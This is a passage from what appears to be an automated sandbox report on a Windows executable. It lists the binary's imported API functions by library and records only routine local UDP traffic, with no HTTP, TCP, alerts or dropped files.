• 0x4a124c lstrcpyA
• 0x4a1250 WriteFile
• 0x4a1254 WideCharToMultiByte
• 0x4a125c WaitForSingleObject
• 0x4a1260 VirtualQuery
• 0x4a1264 VirtualAlloc
• 0x4a1268 Sleep
• 0x4a126c SizeofResource
• 0x4a1270 SetThreadLocale
• 0x4a1274 SetFilePointer
• 0x4a1278 SetEvent
• 0x4a127c SetErrorMode
• 0x4a1280 SetEndOfFile
• 0x4a1284 ResetEvent
• 0x4a1288 ReadFile
• 0x4a128c MultiByteToWideChar
• 0x4a1290 MulDiv
• 0x4a1294 LockResource
• 0x4a1298 LoadResource
• 0x4a129c LoadLibraryA
• 0x4a12a8 GlobalUnlock
• 0x4a12ac GlobalReAlloc
• 0x4a12b0 GlobalHandle
• 0x4a12b4 GlobalLock
• 0x4a12b8 GlobalFree
• 0x4a12bc GlobalFindAtomA
• 0x4a12c0 GlobalDeleteAtom
• 0x4a12c4 GlobalAlloc
• 0x4a12c8 GlobalAddAtomA
• 0x4a12cc GetVersionExA
• 0x4a12d0 GetVersion
• 0x4a12d4 GetTickCount
• 0x4a12d8 GetThreadLocale
• 0x4a12e0 GetSystemTime
• 0x4a12e4 GetSystemInfo
• 0x4a12e8 GetStringTypeExA
• 0x4a12ec GetStdHandle
• 0x4a12f0 GetProcAddress
• 0x4a12f4 GetModuleHandleA
• 0x4a12f8 GetModuleFileNameA
• 0x4a12fc GetLocaleInfoA
• 0x4a1300 GetLocalTime
• 0x4a1304 GetLastError
• 0x4a1308 GetFullPathNameA
• 0x4a130c GetFileAttributesA
• 0x4a1310 GetDiskFreeSpaceA
• 0x4a1314 GetDateFormatA
• 0x4a1318 GetCurrentThreadId
• 0x4a131c GetCurrentProcessId
• 0x4a1320 GetCPInfo
• 0x4a1324 GetACP
• 0x4a1328 FreeResource
• 0x4a132c InterlockedExchange
• 0x4a1330 FreeLibrary
• 0x4a1334 FormatMessageA
• 0x4a1338 FindResourceA
• 0x4a133c FindFirstFileA
• 0x4a1340 FindClose
• 0x4a134c ExitThread
• 0x4a1350 EnumCalendarInfoA
• 0x4a135c CreateThread
• 0x4a1360 CreateFileA
• 0x4a1364 CreateEventA
• 0x4a1368 CopyFileA
• 0x4a136c CompareStringA
• 0x4a1370 CloseHandle
Library version.dll:
• 0x4a1378 VerQueryValueA
• 0x4a1380 GetFileVersionInfoA
Library gdi32.dll:
• 0x4a1388 UnrealizeObject
• 0x4a138c StretchBlt
• 0x4a1390 SetWindowOrgEx
• 0x4a1394 SetWinMetaFileBits
• 0x4a1398 SetViewportOrgEx
• 0x4a139c SetTextColor
• 0x4a13a0 SetStretchBltMode
• 0x4a13a4 SetROP2
• 0x4a13a8 SetPixel
• 0x4a13ac SetEnhMetaFileBits
• 0x4a13b0 SetDIBColorTable
• 0x4a13b4 SetBrushOrgEx
• 0x4a13b8 SetBkMode
• 0x4a13bc SetBkColor
• 0x4a13c0 SelectPalette
• 0x4a13c4 SelectObject
• 0x4a13c8 SaveDC
• 0x4a13cc RestoreDC
• 0x4a13d0 Rectangle
• 0x4a13d4 RectVisible
• 0x4a13d8 RealizePalette
• 0x4a13dc Polyline
• 0x4a13e0 PlayEnhMetaFile
• 0x4a13e4 PatBlt
• 0x4a13e8 MoveToEx
• 0x4a13ec MaskBlt
• 0x4a13f0 LineTo
• 0x4a13f4 IntersectClipRect
• 0x4a13f8 GetWindowOrgEx
• 0x4a13fc GetWinMetaFileBits
• 0x4a1400 GetTextMetricsA
• 0x4a140c GetStockObject
• 0x4a1410 GetPixel
• 0x4a1414 GetPaletteEntries
• 0x4a1418 GetObjectA
• 0x4a1424 GetEnhMetaFileBits
• 0x4a1428 GetDeviceCaps
• 0x4a142c GetDIBits
• 0x4a1430 GetDIBColorTable
• 0x4a1434 GetDCOrgEx
• 0x4a143c GetClipBox
• 0x4a1440 GetBrushOrgEx
• 0x4a1444 GetBitmapBits
• 0x4a1448 ExcludeClipRect
• 0x4a144c DeleteObject
• 0x4a1450 DeleteEnhMetaFile
• 0x4a1454 DeleteDC
• 0x4a1458 CreateSolidBrush
• 0x4a145c CreatePenIndirect
• 0x4a1460 CreatePen
• 0x4a1464 CreatePalette
• 0x4a146c CreateFontIndirectA
• 0x4a1470 CreateDIBitmap
• 0x4a1474 CreateDIBSection
• 0x4a1478 CreateCompatibleDC
• 0x4a1480 CreateBrushIndirect
• 0x4a1484 CreateBitmap
• 0x4a1488 CopyEnhMetaFileA
• 0x4a148c BitBlt
Library user32.dll:
• 0x4a1494 CreateWindowExA
• 0x4a1498 WindowFromPoint
• 0x4a149c WinHelpA
• 0x4a14a0 WaitMessage
• 0x4a14a4 ValidateRect
• 0x4a14a8 UpdateWindow
• 0x4a14ac UnregisterClassA
• 0x4a14b0 UnhookWindowsHookEx
• 0x4a14b4 TranslateMessage
• 0x4a14bc TrackPopupMenu
• 0x4a14c4 ShowWindow
• 0x4a14c8 ShowScrollBar
• 0x4a14cc ShowOwnedPopups
• 0x4a14d0 ShowCursor
• 0x4a14d4 SetWindowsHookExA
• 0x4a14d8 SetWindowPos
• 0x4a14dc SetWindowPlacement
• 0x4a14e0 SetWindowLongA
• 0x4a14e4 SetTimer
• 0x4a14e8 SetScrollRange
• 0x4a14ec SetScrollPos
• 0x4a14f0 SetScrollInfo
• 0x4a14f4 SetRect
• 0x4a14f8 SetPropA
• 0x4a14fc SetParent
• 0x4a1500 SetMenuItemInfoA
• 0x4a1504 SetMenu
• 0x4a1508 SetForegroundWindow
• 0x4a150c SetFocus
• 0x4a1510 SetCursor
• 0x4a1514 SetClassLongA
• 0x4a1518 SetCapture
• 0x4a151c SetActiveWindow
• 0x4a1520 SendMessageA
• 0x4a1524 ScrollWindow
• 0x4a1528 ScreenToClient
• 0x4a152c RemovePropA
• 0x4a1530 RemoveMenu
• 0x4a1534 ReleaseDC
• 0x4a1538 ReleaseCapture
• 0x4a1544 RegisterClassA
• 0x4a1548 RedrawWindow
• 0x4a154c PtInRect
• 0x4a1550 PostQuitMessage
• 0x4a1554 PostMessageA
• 0x4a1558 PeekMessageA
• 0x4a155c OffsetRect
• 0x4a1560 OemToCharA
• 0x4a1564 MessageBoxA
• 0x4a1568 MapWindowPoints
• 0x4a156c MapVirtualKeyA
• 0x4a1570 LoadStringA
• 0x4a1574 LoadKeyboardLayoutA
• 0x4a1578 LoadIconA
• 0x4a157c LoadCursorA
• 0x4a1580 LoadBitmapA
• 0x4a1584 KillTimer
• 0x4a1588 IsZoomed
• 0x4a158c IsWindowVisible
• 0x4a1590 IsWindowEnabled
• 0x4a1594 IsWindow
• 0x4a1598 IsRectEmpty
• 0x4a159c IsIconic
• 0x4a15a0 IsDialogMessageA
• 0x4a15a4 IsChild
• 0x4a15a8 InvalidateRect
• 0x4a15ac IntersectRect
• 0x4a15b0 InsertMenuItemA
• 0x4a15b4 InsertMenuA
• 0x4a15b8 InflateRect
• 0x4a15c0 GetWindowTextA
• 0x4a15c4 GetWindowRect
• 0x4a15c8 GetWindowPlacement
• 0x4a15cc GetWindowLongA
• 0x4a15d0 GetWindowDC
• 0x4a15d4 GetTopWindow
• 0x4a15d8 GetSystemMetrics
• 0x4a15dc GetSystemMenu
• 0x4a15e0 GetSysColorBrush
• 0x4a15e4 GetSysColor
• 0x4a15e8 GetSubMenu
• 0x4a15ec GetScrollRange
• 0x4a15f0 GetScrollPos
• 0x4a15f4 GetScrollInfo
• 0x4a15f8 GetPropA
• 0x4a15fc GetParent
• 0x4a1600 GetWindow
• 0x4a1604 GetMenuStringA
• 0x4a1608 GetMenuState
• 0x4a160c GetMenuItemInfoA
• 0x4a1610 GetMenuItemID
• 0x4a1614 GetMenuItemCount
• 0x4a1618 GetMenu
• 0x4a161c GetLastActivePopup
• 0x4a1620 GetKeyboardState
• 0x4a1628 GetKeyboardLayout
• 0x4a162c GetKeyState
• 0x4a1630 GetKeyNameTextA
• 0x4a1634 GetIconInfo
• 0x4a1638 GetForegroundWindow
• 0x4a163c GetFocus
• 0x4a1640 GetDlgItem
• 0x4a1644 GetDesktopWindow
• 0x4a1648 GetDCEx
• 0x4a164c GetDC
• 0x4a1650 GetCursorPos
• 0x4a1654 GetCursor
• 0x4a1658 GetClipboardData
• 0x4a165c GetClientRect
• 0x4a1660 GetClassNameA
• 0x4a1664 GetClassInfoA
• 0x4a1668 GetCapture
• 0x4a166c GetActiveWindow
• 0x4a1670 FrameRect
• 0x4a1674 FindWindowA
• 0x4a1678 FillRect
• 0x4a167c EqualRect
• 0x4a1680 EnumWindows
• 0x4a1684 EnumThreadWindows
• 0x4a1688 EndPaint
• 0x4a168c EnableWindow
• 0x4a1690 EnableScrollBar
• 0x4a1694 EnableMenuItem
• 0x4a1698 DrawTextA
• 0x4a169c DrawMenuBar
• 0x4a16a0 DrawIconEx
• 0x4a16a4 DrawIcon
• 0x4a16a8 DrawFrameControl
• 0x4a16ac DrawEdge
• 0x4a16b0 DispatchMessageA
• 0x4a16b4 DestroyWindow
• 0x4a16b8 DestroyMenu
• 0x4a16bc DestroyIcon
• 0x4a16c0 DestroyCursor
• 0x4a16c4 DeleteMenu
• 0x4a16c8 DefWindowProcA
• 0x4a16cc DefMDIChildProcA
• 0x4a16d0 DefFrameProcA
• 0x4a16d4 CreatePopupMenu
• 0x4a16d8 CreateMenu
• 0x4a16dc CreateIcon
• 0x4a16e0 ClientToScreen
• 0x4a16e4 CheckMenuItem
• 0x4a16e8 CallWindowProcA
• 0x4a16ec CallNextHookEx
• 0x4a16f0 BeginPaint
• 0x4a16f4 CharNextA
• 0x4a16f8 CharLowerBuffA
• 0x4a16fc CharLowerA
• 0x4a1700 CharUpperBuffA
• 0x4a1704 CharToOemA
• 0x4a1708 AdjustWindowRectEx
Library kernel32.dll:
• 0x4a1714 Sleep
Library oleaut32.dll:
• 0x4a171c SafeArrayPtrOfIndex
• 0x4a1720 SafeArrayPutElement
• 0x4a1724 SafeArrayGetElement
• 0x4a172c SafeArrayAccessData
• 0x4a1730 SafeArrayGetUBound
• 0x4a1734 SafeArrayGetLBound
• 0x4a1738 SafeArrayRedim
• 0x4a173c SafeArrayCreate
• 0x4a1740 VariantChangeType
• 0x4a1744 VariantCopyInd
• 0x4a1748 VariantCopy
• 0x4a174c VariantClear
• 0x4a1750 VariantInit
Library ole32.dll:
• 0x4a1758 CoCreateInstance
• 0x4a175c CoGetMalloc
• 0x4a1760 CoUninitialize
• 0x4a1764 CoInitialize
Library oleaut32.dll:
• 0x4a176c GetErrorInfo
• 0x4a1770 SysStringLen
• 0x4a1774 SysFreeString
Library comctl32.dll:
• 0x4a1784 ImageList_Write
• 0x4a1788 ImageList_Read
• 0x4a1798 ImageList_DragMove
• 0x4a179c ImageList_DragLeave
• 0x4a17a0 ImageList_DragEnter
• 0x4a17a4 ImageList_EndDrag
• 0x4a17a8 ImageList_BeginDrag
• 0x4a17ac ImageList_Remove
• 0x4a17b0 ImageList_DrawEx
• 0x4a17b4 ImageList_Replace
• 0x4a17b8 ImageList_Draw
• 0x4a17c8 ImageList_Add
• 0x4a17d0 ImageList_Destroy
• 0x4a17d4 ImageList_Create
• 0x4a17d8 InitCommonControls
Library comdlg32.dll:
• 0x4a17e0 GetSaveFileNameA
• 0x4a17e4 GetOpenFileNameA
Library wsock32.dll:
• 0x4a17ec WSACleanup
• 0x4a17f0 WSAStartup
• 0x4a17f4 WSAGetLastError
• 0x4a17f8 getservbyname
• 0x4a17fc gethostbyname
• 0x4a1800 socket
• 0x4a1804 shutdown
• 0x4a1808 ntohs
• 0x4a180c ioctlsocket
• 0x4a1810 inet_addr
• 0x4a1814 htons
• 0x4a1818 connect
• 0x4a181c closesocket

Hosts

No hosts contacted.

TCP

No TCP connections recorded.

UDP

Source Source Port Destination Destination Port
192.168.56.101 50534 114.114.114.114 53
192.168.56.101 51808 114.114.114.114 53
192.168.56.101 56539 114.114.114.114 53
192.168.56.101 58367 114.114.114.114 53
192.168.56.101 63429 114.114.114.114 53
192.168.56.101 65004 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 123 20.189.79.72 time.windows.com 123
192.168.56.101 49235 224.0.0.252 5355
192.168.56.101 51963 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 62191 224.0.0.252 5355
192.168.56.101 1900 239.255.255.250 1900
192.168.56.101 51809 239.255.255.250 3702
192.168.56.101 56540 239.255.255.250 3702
192.168.56.101 56807 239.255.255.250 1900
192.168.56.101 58707 239.255.255.250 3702

HTTP & HTTPS Requests

No HTTP requests performed.

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.